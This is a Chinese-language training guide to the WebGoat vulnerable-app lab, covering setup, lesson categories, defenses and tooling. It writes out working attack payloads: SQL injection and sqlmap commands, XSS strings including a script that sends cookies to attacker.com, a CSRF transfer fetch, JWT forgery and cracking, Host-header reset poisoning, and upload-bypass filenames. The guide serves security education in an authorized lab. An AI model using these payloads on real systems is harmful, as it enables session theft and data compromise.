WebGoat 安全靶场环境搭建与实战指南

方法 4：使用 Kali Linux 预装版本

# Kali Linux 通常预装了 WebGoat
# 启动 WebGoat
service webgoat start
# 或者手动启动
cd /usr/share/webgoat
java -jar webgoat-server-*.jar
# 访问：https://localhost:8080/WebGoat

访问和初始配置

# 默认访问地址
WebGoat: http://localhost:8080/WebGoat
WebWolf: http://localhost:9090/WebWolf

# 首次访问配置
1. 打开浏览器访问 http://localhost:8080/WebGoat
2. 创建新用户或使用默认：
   - 用户名：webgoat
   - 密码：webgoat
3. 选择语言（支持中文）
4. 开始课程

课程分类详解

WebGoat 课程分为多个类别，从易到难：

1. 通用漏洞系列

• A1：注入漏洞 - SQL 注入（基础/进阶）、NoSQL 注入、命令注入、XXE 注入
• A2：失效的身份认证 - 身份认证绕过、JWT 令牌安全、密码重置漏洞、安全提问绕过
• A3：敏感数据泄露 - 不安全的加密、弱哈希算法、JWT 密钥泄露
• A7：跨站脚本（XSS） - 反射型、存储型、DOM 型及防御方法
• A8：不安全的反序列化 - Java 反序列化、远程代码执行

2. 高级漏洞系列

• A4：外部实体（XXE） - XXE 读取文件、盲注及防御
• A5：失效的访问控制 - 水平越权、垂直越权、IDOR 漏洞、JWT 篡改
• A6：安全配置错误 - 目录遍历、敏感文件泄露、安全头部缺失
• A9：使用含有已知漏洞的组件 - 依赖库漏洞、版本检测

3. 挑战系列

• WebWolf 挑战 - 文件上传绕过、邮件钓鱼、重定向漏洞
• CTF 风格挑战 - 综合漏洞利用、多步骤攻击链

实战演练：SQL 注入专题

练习 1：基础 SQL 注入

-- 1. 访问 SQL Injection (intro)
-- 课程位置：A1 → SQL Injection (intro)

-- 2. 基础注入练习
输入：' OR '1'='1
SELECT * FROM users WHERE name = '' OR '1'='1';

-- 3. 获取所有用户
输入：' OR 1=1 --
SELECT * FROM users WHERE name = '' OR 1=1 --';

-- 4. 联合查询注入
输入：' UNION SELECT 1,2 --
SELECT * FROM products WHERE name = '' UNION SELECT 1,2 --';

-- 5. 获取数据库信息
输入：' UNION SELECT version(),database() --

练习 2：盲注攻击

-- 1. 布尔盲注
判断数据库类型：' AND (SELECT substring(version(),1,1))='5' --

-- 2. 时间盲注
MySQL：使用 sleep() 函数：'AND IF(1=1,SLEEP(5),0)--

-- 3. 自动化工具使用
# 使用 sqlmap
sqlmap -u "http://localhost:8080/WebGoat/SqlInjection/attack5a" \
  --data="name=test" \
  --level=3 \
  --risk=2 \
  --dbs

练习 3：SQL 注入防御

// 查看防御代码示例
// 1. 使用预编译语句
String sql = "SELECT * FROM users WHERE username = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, username);

// 2. 使用存储过程
// 3. 输入验证和过滤
// 4. 最小权限原则

XSS 漏洞实战

反射型 XSS

// 1. 基础 payload
<script>alert('XSS')</script>

// 2. 绕过简单过滤
<ScRiPt>alert('XSS')</ScRiPt>
<img src=x onerror=alert('XSS')>

// 3. 窃取 Cookie
<script> document.location='http://attacker.com/steal?cookie='+document.cookie </script>

存储型 XSS

// 1. 在评论中注入
<iframe src="javascript:alert('XSS')">

// 2. 结合 CSRF
<script>fetch('/transfer?to=hacker&amount=1000',{method:'POST'})</script>

DOM 型 XSS

// 1. 利用 URL 片段
http://target.com/#<script>alert('XSS')</script>

// 2. 利用 innerHTML
document.getElementById('content').innerHTML = userInput;
// 防御：使用 textContent 代替

身份认证漏洞实战

JWT 令牌攻击

// 1. 解码 JWT
// 使用 jwt.io 在线解码

// 2. 无签名攻击（alg: none）
// 修改 JWT 头部为 { "alg": "none" }
// 删除签名部分

// 3. 密钥爆破
// 使用 hashcat
hashcat -a 0 -m 16500 jwt.txt wordlist.txt

// 4. 密钥混淆攻击
// 使用 HS256 但验证时使用 RS256

密码重置漏洞

# 1. 修改 Host 头
POST /reset-password HTTP/1.1
Host: attacker.com
X-Forwarded-Host: attacker.com

# 2. 密码重置令牌泄露
# 查看页面源码、JS 文件、网络请求

# 3. 时间窗口攻击
# 快速使用重置链接

文件上传漏洞实战

绕过文件类型检查

# 1. 修改 Content-Type
# 上传 PHP 文件，但 Content-Type: image/jpeg

# 2. 双扩展名
shell.php.jpg
shell.php%00.jpg

# 3. 大小写绕过
shell.PhP
shell.pHp5

# 4. 特殊字符
shell.php.
shell.php 空格

WebWolf 文件上传挑战

# 1. 访问 WebWolf
http://localhost:9090/WebWolf

# 2. 上传恶意文件

# 3. 使用重定向获取文件
<img src="http://localhost:9090/files/your-file">

# 4. 组合 XSS
<iframe src="http://localhost:9090/files/steal-cookie.js">

WebGoat 防御练习

输入验证防御

// 1. 白名单验证
if(!input.matches("^[a-zA-Z0-9]+$")){
    throw new ValidationException("非法输入");
}

// 2. 输出编码
String safeOutput = ESAPI.encoder().encodeForHTML(userInput);

// 3. 使用安全框架
// Spring Security 的 CSRF 保护
// OWASP ESAPI 库

安全配置

# application.yml 安全配置
security:
  headers:
    content-security-policy: "default-src 'self'"
    x-frame-options: DENY
    x-content-type-options: nosniff
  csrf:
    enabled: true

工具集成和自动化

Burp Suite 配置

# 1. 配置代理
Proxy → Options → Add
- Bind to port: 8081
- Bind to address: 127.0.0.1

# 2. 浏览器设置代理
# Firefox/Chrome: 127.0.0.1:8081

# 3. 拦截 WebGoat 请求
# 查看和修改请求/响应

# 4. 使用 Intruder 爆破

OWASP ZAP 集成

# 1. 启动 ZAP
zap.sh

# 2. 配置上下文
# 设置目标 URL: http://localhost:8080/WebGoat

# 3. 自动扫描
# 主动扫描和被动扫描

# 4. 生成报告

学习路径建议

阶段 1：基础（1-2 周）

1. SQL Injection (intro) - 3 天
2. Cross-Site Scripting (XSS) - 3 天
3. Path Traversal - 2 天
4. Authentication Flaws - 2 天

阶段 2：进阶（2-3 周）

1. SQL Injection (advanced) - 4 天
2. XXE Injection - 3 天
3. JWT Tokens - 3 天
4. Insecure Deserialization - 3 天

阶段 3：综合（1-2 周）

1. WebWolf Challenges - 全部完成
2. Secure Coding Lessons - 学习防御
3. 创建自己的漏洞环境

最佳实践和学习技巧

学习方法

1. 理论 + 实践结合 - 先理解漏洞原理，再动手实践，最后查看官方解法
2. 记笔记和思维导图 - 记录每个漏洞的原理、攻击步骤、防御方法
3. 使用多种工具 - 手动测试理解原理，使用工具提高效率，比较不同工具的效果

调试技巧

// 1. 查看后端代码
// WebGoat 是开源的，可以查看源代码理解逻辑

// 2. 使用开发者工具
# F12 打开开发者工具
# Network 标签查看请求
# Console 执行 JavaScript
# Sources 查看前端代码

# 3. 日志查看
docker logs webgoat
# 或者运行时查看
java -jar webgoat-server.jar --debug

故障排除

常见问题 1：无法启动

# 检查 Java 版本（需要 Java 11+）
java -version

# 检查端口占用
netstat -tlnp | grep 8080

# 或修改端口
java -jar webgoat-server.jar --server.port=8081

# Docker 容器问题
docker logs webgoat-container
docker-compose logs -f

常见问题 2：课程无法完成

• 解决方法：仔细阅读题目描述，查看页面源代码，使用浏览器开发者工具，查看网络请求，参考官方文档，使用 WebGoat 的提示功能。

常见问题 3：性能问题

# 调整 JVM 参数
java -Xms512m -Xmx1024m -jar webgoat-server.jar

# Docker 资源限制
docker run -d -m 1g --cpus="1.0" webgoat/webgoat

进阶学习资源

扩展工具

1. SQLMap - SQL 注入自动化
2. XSStrike - XSS 检测
3. JWT_Tool - JWT 攻击工具
4. FFUF - Web 目录爆破
5. Nuclei - 漏洞扫描

相关项目

1. WebGoat.NET - .NET 版本
2. DVWA - 另一个漏洞环境
3. bWAPP - 包含更多漏洞类型
4. Juice Shop - 现代 Web 应用靶场

认证和学习路径

1. OWASP Top 10 - 掌握所有漏洞类型
2. OSWE - 高级 Web 渗透认证
3. Burp Suite Certified Practitioner - Burp 专业认证

挑战任务

任务 1：完成所有基础课程

目标：30 天内完成所有 A1-A10 基础课程，深入理解 OWASP Top 10。

任务 2：不查看源码完成挑战

目标：仅通过黑盒测试完成 WebWolf 挑战，提升实战测试能力。

任务 3：编写自己的漏洞场景

目标：基于 WebGoat 框架开发一个新漏洞练习，深入理解漏洞原理和代码实现。

重要提醒：

1. WebGoat 仅在本地或授权环境中使用
2. 学到的技术仅用于合法的安全测试
3. 尊重他人隐私和系统安全
4. 遵守网络安全法律法规